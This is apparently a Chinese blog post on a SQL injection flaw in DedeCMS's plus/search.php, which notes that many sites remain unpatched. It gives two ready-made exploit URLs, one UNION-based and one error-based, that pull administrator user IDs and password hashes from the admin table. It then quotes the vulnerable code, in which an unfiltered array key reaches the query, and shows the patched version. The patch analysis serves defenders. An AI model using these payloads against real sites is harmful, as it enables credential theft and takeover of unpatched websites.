dedecms plus/search.php注入漏洞修复及利用

虽然出来了很久,但是很多dede的站点都没做修复:

0×1:

http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

报错如果为:Safe Alert: Request Error step 2 !

则利用以下exp:http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[111%3D@`’`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`’`+]=a

0×2:

http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

报错如果为:Safe Alert: Request Error step 1 !

则利用以下exp:http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[111%3D@`’`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a
+from+information_schema.tables+group+by+a)b)%23@`’`+]=a

漏洞修复:

 

20130115常规安全更新
include/arc.searchview.class.php, 搜索功能准确度优化
member/myfriend_group.php, 修复会员中心会员分组功能存在的安全隐患
plus/search.php, 修复搜索功能存在的安全隐患

登录DEDECMS后台会有提示,更新即可。不过貌似官方没有提供安全更新补丁的下载地址,找了半天没找到~

漏洞分析:

存在漏洞的文件/plus/search.php

//引入栏目缓存并看关键字是否有相关栏目内容

require_once($typenameCacheFile);

if(isset($typeArr) && is_array($typeArr))

{

foreach($typeArr as $id=>$typename)

{

$keywordn = str_replace($typename, ‘ ‘, $keyword);

if($keyword != $keywordn)

{

$keyword = $keywordn;

$typeid = $id; //对ID没做任何过滤 导致注入

break;

}

}

}

}

$keyword = addslashes(cn_substr($keyword,30));

修复之后

//引入栏目缓存并看关键字是否有相关栏目内容

require_once($typenameCacheFile);

if(isset($typeArr) && is_array($typeArr))

{

foreach($typeArr as $id=>$typename)

{

//$keywordn = str_replace($typename, ‘ ‘, $keyword);

$keywordn = $keyword;

if($keyword != $keywordn)

{

$keyword = HtmlReplace($keywordn);//防XSS

$typeid = intval($id); //强制转换为数字型

break;

}

}

}

}

$keyword = addslashes(cn_substr($keyword,30));

本文漏洞利用部分是由鬼哥原创,漏洞分析是转载在花开若相惜’blog.

10

Related Posts

Comments

  1. 我的小说站就是用着程序

    1. @lu5704 升级了补丁就好了

  2. 有难度啊,OMG

    1. @钛棒 棒棒你来了啊

  3. 嗨,程序猿~

    1. @ghostry 额!我不是程序员

  4. im是哪个国家的域名啊

    1. @东森平台 我都忘记了,你搜索看下吧

  5. 额…其实我已经很努力看了,不过还是看不懂,请原谅。

    1. @黎健雄 其实我也看不懂

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注